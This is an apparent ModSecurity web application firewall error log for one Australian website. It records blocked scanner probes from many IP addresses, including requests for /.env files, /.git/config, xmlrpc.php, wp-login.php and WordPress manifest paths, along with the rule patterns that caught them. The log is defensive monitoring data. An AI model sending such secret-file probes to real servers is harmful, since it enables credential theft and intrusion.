[Fri Feb 13 00:33:59.630118 2026] [:error] [pid 37511:tid 37583] [client 64.89.163.24:58262] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A9-8EBJ86uZdxpA1pLAAAAEM"]
[Fri Feb 13 00:33:59.646196 2026] [:error] [pid 37512:tid 37620] [client 64.89.163.24:58263] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A99De69znS-f6vSY1gAAAAAs"]
[Fri Feb 13 00:34:01.904177 2026] [:error] [pid 37511:tid 37586] [client 64.89.163.24:56961] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A-e8EBJ86uZdxpA1pewAAAEU"]
[Fri Feb 13 00:34:02.002009 2026] [:error] [pid 37510:tid 37517] [client 64.89.163.24:57710] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A-sUrqDPNSf1wYBWCBgAAAYE"]
[Fri Feb 13 00:34:04.611740 2026] [:error] [pid 37510:tid 37530] [client 64.89.163.24:59869] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A_MUrqDPNSf1wYBWCKgAAAY4"]
[Fri Feb 13 00:34:04.899524 2026] [:error] [pid 37512:tid 37620] [client 64.89.163.24:61303] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A_NDe69znS-f6vSY1zQAAAAs"]
[Fri Feb 13 00:34:06.547491 2026] [:error] [pid 37511:tid 37597] [client 64.89.163.24:63032] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A_u8EBJ86uZdxpA1p8gAAAFA"]
[Fri Feb 13 00:34:07.003381 2026] [:error] [pid 23410:tid 23426] [client 64.89.163.24:55463] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4A_xXZP6NFBacuW_0F5gAAAI4"]
[Fri Feb 13 00:34:08.580451 2026] [:error] [pid 37511:tid 37602] [client 64.89.163.24:56114] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4BAO8EBJ86uZdxpA1qAQAAAFU"]
[Fri Feb 13 00:34:09.212230 2026] [:error] [pid 23410:tid 23418] [client 64.89.163.24:63815] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY4BARXZP6NFBacuW_0F8gAAAIY"]
[Fri Feb 13 03:04:09.194234 2026] [:error] [pid 23410:tid 23434] [client 34.82.224.233:50318] [client 34.82.224.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.224.233, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY4kKRXZP6NFBacuW_1YugAAAJY"]
[Fri Feb 13 03:04:11.426083 2026] [:error] [pid 23410:tid 23431] [client 34.82.224.233:50318] [client 34.82.224.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aY4kKxXZP6NFBacuW_1YyQAAAJM"]
[Fri Feb 13 03:04:12.124766 2026] [:error] [pid 37510:tid 37518] [client 34.82.224.233:57580] [client 34.82.224.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aY4kLMUrqDPNSf1wYBW6_QAAAYI"]
[Fri Feb 13 03:04:12.818723 2026] [:error] [pid 37512:tid 37621] [client 34.82.224.233:65297] [client 34.82.224.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aY4kLNDe69znS-f6vSZspwAAAAw"]
[Fri Feb 13 03:04:13.531744 2026] [:error] [pid 37856:tid 37859] [client 34.82.224.233:60376] [client 34.82.224.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aY4kLZUcWP4qWM7hWskxwgAAAMA"]
[Fri Feb 13 03:04:14.241169 2026] [:error] [pid 37511:tid 37603] [client 34.82.224.233:63660] [client 34.82.224.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aY4kLu8EBJ86uZdxpA2gzAAAAFY"]
[Fri Feb 13 03:04:14.953116 2026] [:error] [pid 37856:tid 37863] [client 34.82.224.233:54322] [client 34.82.224.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aY4kLpUcWP4qWM7hWskxwwAAAMQ"]
[Fri Feb 13 03:05:56.511854 2026] [:error] [pid 37511:tid 37602] [client 34.67.117.238:60743] [client 34.67.117.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.117.238, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY4klO8EBJ86uZdxpA2hXgAAAFU"]
[Fri Feb 13 03:05:59.095270 2026] [:error] [pid 37511:tid 37598] [client 34.67.117.238:60743] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aY4kl-8EBJ86uZdxpA2haQAAAFE"]
[Fri Feb 13 03:05:59.976255 2026] [:error] [pid 37512:tid 37623] [client 34.67.117.238:49440] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aY4kl9De69znS-f6vSZtMAAAAA0"]
[Fri Feb 13 03:06:00.823762 2026] [:error] [pid 37510:tid 37524] [client 34.67.117.238:50296] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aY4kmMUrqDPNSf1wYBW7hAAAAYg"]
[Fri Feb 13 03:06:01.694003 2026] [:error] [pid 37511:tid 37582] [client 34.67.117.238:57545] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aY4kme8EBJ86uZdxpA2hbAAAAEI"]
[Fri Feb 13 03:06:02.550559 2026] [:error] [pid 37511:tid 37596] [client 34.67.117.238:63846] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aY4kmu8EBJ86uZdxpA2hbgAAAE8"]
[Fri Feb 13 03:06:03.408227 2026] [:error] [pid 37511:tid 37604] [client 34.67.117.238:63422] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aY4km-8EBJ86uZdxpA2hcAAAAFc"]
[Fri Feb 13 03:06:04.268943 2026] [:error] [pid 37510:tid 37518] [client 34.67.117.238:62752] [client 34.67.117.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aY4knMUrqDPNSf1wYBW7iQAAAYI"]
[Fri Feb 13 03:30:52.717375 2026] [:error] [pid 17942:tid 17969] [client 104.236.54.122:40512] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY4qbL1YyF67_WQrcB7SvAAAABA"]
[Fri Feb 13 03:30:57.321745 2026] [:error] [pid 17943:tid 17983] [client 104.236.54.122:48912] [client 104.236.54.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aY4qcQCFjxXIDFSugHQhcQAAAEI"]
[Fri Feb 13 04:25:44.605252 2026] [:error] [pid 49225:tid 49295] [client 177.223.244.99:27658] [client 177.223.244.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.223.244.99, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY43SDwH8-zGxtAd3ju5-AAAAIE"]
[Fri Feb 13 05:14:32.317706 2026] [:error] [pid 49335:tid 49360] [client 95.91.110.210:46342] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aY5CuKp--SFY2nwOiqkh3gAAANc"]
[Fri Feb 13 05:14:35.177143 2026] [:error] [pid 51243:tid 51247] [client 95.91.110.210:46956] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aY5Cu8im7ZTAHzi7xZu5ggAAAQI"]
[Fri Feb 13 05:14:38.564491 2026] [:error] [pid 49224:tid 49283] [client 95.91.110.210:35518] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aY5CvtiAvPoWmw5YhwmC8gAAAFA"]
[Fri Feb 13 05:14:41.103689 2026] [:error] [pid 49335:tid 49353] [client 95.91.110.210:35532] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY5Cwap--SFY2nwOiqkiEQAAANA"]
[Fri Feb 13 05:14:43.853142 2026] [:error] [pid 49335:tid 49344] [client 95.91.110.210:35534] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aY5Cw6p--SFY2nwOiqkiGAAAAMc"]
[Fri Feb 13 05:14:46.855665 2026] [:error] [pid 49225:tid 49296] [client 95.91.110.210:35546] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY5CxjwH8-zGxtAd3jvMFQAAAII"]
[Fri Feb 13 05:14:49.888818 2026] [:error] [pid 51243:tid 51263] [client 95.91.110.210:1740] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY5Cycim7ZTAHzi7xZu5rgAAARI"]
[Fri Feb 13 05:14:52.348414 2026] [:error] [pid 49225:tid 49308] [client 95.91.110.210:1748] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY5CzDwH8-zGxtAd3jvMKAAAAI4"]
[Fri Feb 13 05:15:10.213009 2026] [:error] [pid 49225:tid 49301] [client 95.91.110.210:1754] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aY5C3jwH8-zGxtAd3jvMMgAAAIc"]
[Fri Feb 13 05:15:12.760561 2026] [:error] [pid 51243:tid 51245] [client 95.91.110.210:28968] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aY5C4Mim7ZTAHzi7xZu54wAAAQA"]
[Fri Feb 13 05:15:15.887067 2026] [:error] [pid 51243:tid 51260] [client 95.91.110.210:28982] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aY5C48im7ZTAHzi7xZu55gAAAQ8"]
[Fri Feb 13 05:15:19.094298 2026] [:error] [pid 49223:tid 49248] [client 95.91.110.210:56562] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aY5C5x8A_fZBamNLnfUn9gAAABA"]
[Fri Feb 13 05:15:21.990483 2026] [:error] [pid 51243:tid 51252] [client 95.91.110.210:56572] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aY5C6cim7ZTAHzi7xZu5_wAAAQc"]
[Fri Feb 13 05:15:24.565916 2026] [:error] [pid 49225:tid 49300] [client 95.91.110.210:56584] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aY5C7DwH8-zGxtAd3jvMPwAAAIY"]
[Fri Feb 13 05:15:27.291657 2026] [:error] [pid 49335:tid 49348] [client 95.91.110.210:56598] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aY5C76p--SFY2nwOiqkiwgAAAMs"]
[Fri Feb 13 05:51:18.734864 2026] [:error] [pid 51243:tid 51248] [client 43.159.128.237:48170] [client 43.159.128.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aY5LVsim7ZTAHzi7xZvKmQAAAQM"]
[Fri Feb 13 13:46:44.096397 2026] [:error] [pid 49224:tid 49267] [client 43.130.139.177:43732] [client 43.130.139.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY66xNiAvPoWmw5YhwmMDwAAAEA"]
[Fri Feb 13 13:58:39.125943 2026] [:error] [pid 49224:tid 49285] [client 172.245.102.16:60043] [client 172.245.102.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.16, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aY69j9iAvPoWmw5YhwmQJwAAAFI"]
[Fri Feb 13 13:58:40.742955 2026] [:error] [pid 46821:tid 46829] [client 193.36.225.177:53243] [client 193.36.225.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.177, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aY69kI6G1N5YSq0J0gfL5gAAAUY"]
[Fri Feb 13 14:34:49.170062 2026] [:error] [pid 47080:tid 47102] [client 154.213.161.140:10765] [client 154.213.161.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aY7GCUbWJwYCVF39z6vS8gAAAc4"]
[Fri Feb 13 14:34:49.965505 2026] [:error] [pid 47575:tid 47603] [client 216.26.237.81:22053] [client 216.26.237.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aY7GCQIPBuXb07mA_mR9ZQAAAtY"]
[Fri Feb 13 14:34:50.665616 2026] [:error] [pid 49225:tid 49314] [client 45.3.40.5:32921] [client 45.3.40.5] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aY7GCjwH8-zGxtAd3jvCpAAAAJQ"]
[Fri Feb 13 14:34:51.406450 2026] [:error] [pid 47575:tid 47586] [client 209.50.180.3:57945] [client 209.50.180.3] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aY7GCwIPBuXb07mA_mR9aAAAAsY"]
[Fri Feb 13 14:34:52.309445 2026] [:error] [pid 49223:tid 49239] [client 65.111.31.103:51321] [client 65.111.31.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aY7GDB8A_fZBamNLnfX9nQAAAAc"]
[Fri Feb 13 14:34:52.633838 2026] [:error] [pid 47080:tid 47088] [client 45.3.39.8:60161] [client 45.3.39.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aY7GDEbWJwYCVF39z6vS_AAAAcA"]
[Fri Feb 13 14:34:53.754378 2026] [:error] [pid 47358:tid 47384] [client 45.3.54.67:15067] [client 45.3.54.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aY7GDcQFBuVVUQTESUzRSQAAApI"]
